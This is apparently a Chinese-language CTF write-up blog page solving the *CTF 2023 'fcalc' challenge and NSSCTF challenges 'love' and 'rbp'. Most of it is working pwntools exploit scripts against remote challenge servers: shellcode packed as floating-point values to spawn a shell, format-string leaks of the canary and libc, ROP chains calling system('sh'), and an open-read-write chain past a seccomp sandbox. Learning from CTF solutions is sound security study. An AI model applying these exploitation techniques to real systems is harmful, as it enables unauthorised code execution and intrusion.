*CTF和nssctf#16的wp
*ctf2023 fcalc
分析程序
本题存在漏洞,是生活中很容易犯的错误,就是循环或者判断的时候没有注意多一还是少一,这种会发生很严重的问题。比如这个题在过滤数字的时候没有过滤掉0,所以输入0的时候会跳转到栈的内容,从而被攻击者执行shellcode。
不过本题目不能直接执行,因为存在一个对浮点数的检查,如果不符合检查会报错,所以写shellcode的时候要伪造成double浮点数,实际上就是把前面改成0x4040即可。
并且要注意binsh的长度过长,不能直接提权,要走orw。
(后续看了逮捕你战队,发现可以使用移位运算两位两位修改rdi为binsh,然后作为参数,确实没想到)
exp 我的
from evilblade import *
context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')
setup('./pwn')
#libset('libc-2.23.so')
rsetup('61.147.171.105',62960)
sla(':',b'1.0 2.0 -'*2)
shellcode = asm('''
push 1
pop rax
''')
#sa('-1',b'\x00'*80 + shellcode)
sa('-1',b'\x00'*80 + p64(0x40404867616c6668)+p64(0x4040f63190e78948)+p64(0x404090050f58026a)+p64(0x4040e68948c78948)+p64(0x40490900000040ba)+p64(0x40409090050fc031)+p64(0x4040909090e68948)+p64(0x404058016a5f016a)+p64(0x404090909090050f))
evgdb('b *$rebase(0x1876)')
print(shellcode)
sl(b'0')
ia()



exp2 参考逮捕你战队的
from evilblade import *
context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')
setup('./pwn')
#libset('libc-2.23.so')
rsetup('61.147.171.105',62960)
sla(':',b'1.0 2.0 -'*2)
shellcode = asm('''
push 1
pop rax
''')
def set_sc(sc):
pd = flat(
{
0:sc
},filler = '\x40',length=8
)
return pd
pd = b'1' +b' '*7 + p64(0x3ff0000000000000)*10
pd+= set_sc("\x48\x31\xc0")
pd+= set_sc("\xb8\x3b\x00\x00\x00")
pd+= set_sc("\xbf\x2f\x73\x68\x00")
pd+=set_sc("\x48\xc1\xe7\x10")
pd+=set_sc("\x66\x81\xc7\x69\x6e")
pd+=set_sc("\x48\xc1\xe7\x10")
pd+=set_sc("\x66\x81\xc7\x2f\x62")
pd+=set_sc("\x57\x48\x89\xe7")
pd+=set_sc("\x48\x31\xf6")
pd+=set_sc("\x48\x31\xd2\x0f\x05")
sa('Enter your expression:',pd)
evgdb('b *$rebase(0x1876)')
sla('Result: ',b'0')
ia()

最后syscall就行,参考学习一下,很好的思路。shl rdi,0x10相当于乘以0x10000。
nssctf#14
love
from evilblade import *
context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')
setup('./0')
libset('libc.so.6')
rsetup('node3.anna.nssctf.cn',28586)
evgdb()
#感谢T1d师傅,本题patch还需要patchelf --add-needed 你的目录/libpthread.so.0 pwn
rdi =0x00000000004013f3
payload = b'%520c%9$n-%17$p-%15$p\x00\x00\x00sh\x00'
#写入sh,使用fmt促成相等,泄露libc地址和canary
#fmt无所不能
sd(payload)
can = tet()
can = tet()
addx = ru('-')
addx = int(ru('-')[:-1],16)
dp('addx',hex(addx))
base = getbase(addx,'__libc_start_main',243)
can = int(ru('00')[-18:],16)
dp('can',hex(can))
os = base+0xe3b04
sys = symoff('system',base)
binsh = 0x4040d8
sla('level',b'a'*0x28+p64(can)+p64(0)+p64(rdi)+p64(binsh)+p64(0x40101a)+p64(sys))
ia()
rbp
和之前那个旅行者题目很像,使用call read进行栈迁移即可。这里有一个很好的参考博客。
http://t.csdn.cn/XRf6t
感谢这个师傅,不过后面的操作好像有点繁琐。
因为开了沙盒execve,我走的orw,并且用libc里的一些gadget控制参数。最后的w用的是程序自带的puts。
from evilblade import *
context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')
setup('./pwn')
libset('libc.so.6')
rsetup('node1.anna.nssctf.cn',28642)
vuln = 0x401270
lv = 0x40121d
puts = pltadd('puts')
start = symadd('_start')
bss = 0x404500
rdi = 0x0000000000401353 # pop rdi ; ret
rsir15 =0x0000000000401351
putsgot = gotadd('puts')
sd(b'a'*0x210+p64(bss)+p64(0x401292))
sd(b'a'*0x210+p64(bss+0x210)+p64(0x401292))
sd(b'a'*8+p64(rdi)+p64(putsgot)+p64(puts)+p64(0x401292))
addx = tet()
addx = tet()
addx = tet()
addx = tet()
addx = getx64(0,-1)
base = getbase(addx,'puts')
openadd = symoff('open',base)
syscall = base+0x000000000002284d
read = symoff('read',base)
rax = base+0x0000000000036174
rdx= base+0x0000000000142c92
evgdb()
flag = 0x404500+0x90+0x18
payload = (b'aaaaaaaabaaaaaaacaaaaaaaflag\x00aaa'+p64(rdi))
payload += p64(flag) + p64(rsir15)+p64(0)*2+ p64(openadd)#open
payload += p64(rdi) + p64(3) + p64(rsir15) + p64(0x404800) + p64(0)#read
payload += p64(rdx) + p64(0x30) + p64(read)
payload += p64(rdi) + p64(0x404800) + p64(puts)
payload += b'flag\x00'
sd(payload)
ia()
*CTF和nssctf#16的wp的更多相关文章
- 实验吧ctf题库web题wp
经历了学校的校赛,一度自闭,被大佬们刺激的要奋发图强. 1.后台登录 链接: http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php 打开题目首先查看源码, ...
- 成都大学CTF 网络攻防演练平台 WP
web1 输入框那里鼠标右键,审查元素,删除maxlength web2 http://ctf.cdusec.org:8082/web2/?cdusec=tql web3 同上,用火狐hackbar或 ...
- CTF Writeup 一个专门收集WP的网站
www.ctfwp.com 创建于2019-04-15 致力于收集网上公开writeup,方便大家学习.
- 2019强网杯babybank wp及浅析
前言 2019强网杯CTF智能合约题目--babybank wp及浅析 ps:本文最先写在我的新博客上,后面会以新博客为主,看心情会把文章同步过来 分析 反编译 使用OnlineSolidityDec ...
- 攻防世界 reverse evil
这是2017 ddctf的一道逆向题, 挑战:<恶意软件分析> 赛题背景: 员工小A收到了一封邮件,带一个文档附件,小A随手打开了附件.随后IT部门发现小A的电脑发出了异常网络访问请求,进 ...
- rootkit 内核函数hook
转自:https://0x90syntax.wordpress.com/2016/02/21/suterusu-rootkitx86%e4%b8%8earm%e7%9a%84%e5%86%85%e8% ...
- opengl版本
OpenGL vendor string: IntelOpenGL renderer string: Intel(R) HD Graphics 630OpenGL version string: 4. ...
- Reverse 高校网络信息安全运维挑战赛
Reverse 高校网络信息安全运维挑战赛 1 signed int sub_403CC0() 2 { 3 unsigned int v0; // eax 4 int key_lens; // eax ...
- 通过一道简单的例题了解Linux内核PWN
写在前面 这篇文章目的在于简单介绍内核PWN题,揭开内核的神秘面纱.背后的知识点包含Linux驱动和内核源码,学习路线非常陡峭.也就是说,会一道Linux内核PWN需要非常多的铺垫知识,如果要学习可以 ...
- 记一次CTF出题WP
笔者有幸参与一次CTF入门级的出题,在此记录一下WP 1.测试你得手速 1.用IDA打开程序 找到单击次数, 获取全局变量地址. 打开程序 打开OllyDbg attcach后在左下角按CTRL+N ...
随机推荐
- upload-labs 第一关 前端验证绕过!
打开靶场发现只能上传jpg png gif 的文件格式的文件,我们想要上传上去的文件格式为php文件格式,首先在Notepad++里面打开图片,会出现很多乱码,我们在最后面添加漏洞语句<?php ...
- 3 分钟利用 FastGPT 和 Laf 将 ChatGPT 接入企业微信
原文链接:https://forum.laf.run/d/556 FastGPT 是一个超级的 ChatGPT 平台项目,功能非常强大: 集成了 ChatGPT.GPT4 和 Claude 可以使用任 ...
- 源端为备库的场景下Duplicate失败问题
环境: Oracle 11.2.0.3 + OEL 7.9 A -> B -> C 级联ADG环境:db11g -> db11gadg -> db11gcas 之前测试提到,从 ...
- Curl 中 关于PUT, POST, DELETE, UPDATE 的使用
POST curl -H "Content-Type:application/json" -X POST --data '{"id":1, "text ...
- Nashorn引擎导致metaspace oom
从报错内容很清楚是Metaspace区域oom了 大部分情况下,程序运行中不会出现过多的类加载数量的变动,先导入dump文件检查是否有异常的classLoader或者有异常动态生成的cla ...
- 鸟类识别系统Python+Django+TensorFlow+卷积神经网络算法【完整代码】
一.介绍 鸟类识别系统,使用Python作为主要开发语言,基于深度学习TensorFlow框架,搭建卷积神经网络算法.并通过对数据集进行训练,最后得到一个识别精度较高的模型.并基于Django框架,开 ...
- Spring 中的 Bean
前言 欢迎来到本篇文章,鸽了好久了,今天继续写下 Spring 的内容:Spring 中 Bean 的基本概念.基本写法和 3 种实例化 Bean 的方式等. 什么是 Bean? 我们回顾下,什么是 ...
- Linux系统运维之负载均衡Tengine
一.介绍 Tengine是由淘宝网发起的Web服务器项目.它在Nginx的基础上,针对大访问量网站的需求,添加了很多高级功能和特性.Tengine的性能和稳定性已经在大型的网站如淘宝网,天猫商城等得到 ...
- PostMan如何联调SignalR WebSockets
我们在调试SignalR的时候,往往要写多一个客户端对接联调.其实,在过去的几个版本中,Postman 已经能够使用 WebSocket 连接连接到 SignalR 中心并发送和接收消息. 设置请求 ...
- LEA: Improving Sentence Similarity Robustness to Typos Using Lexical Attention Bias 论文阅读
LEA: Improving Sentence Similarity Robustness to Typos Using Lexical Attention Bias 论文阅读 KDD 2023 原文 ...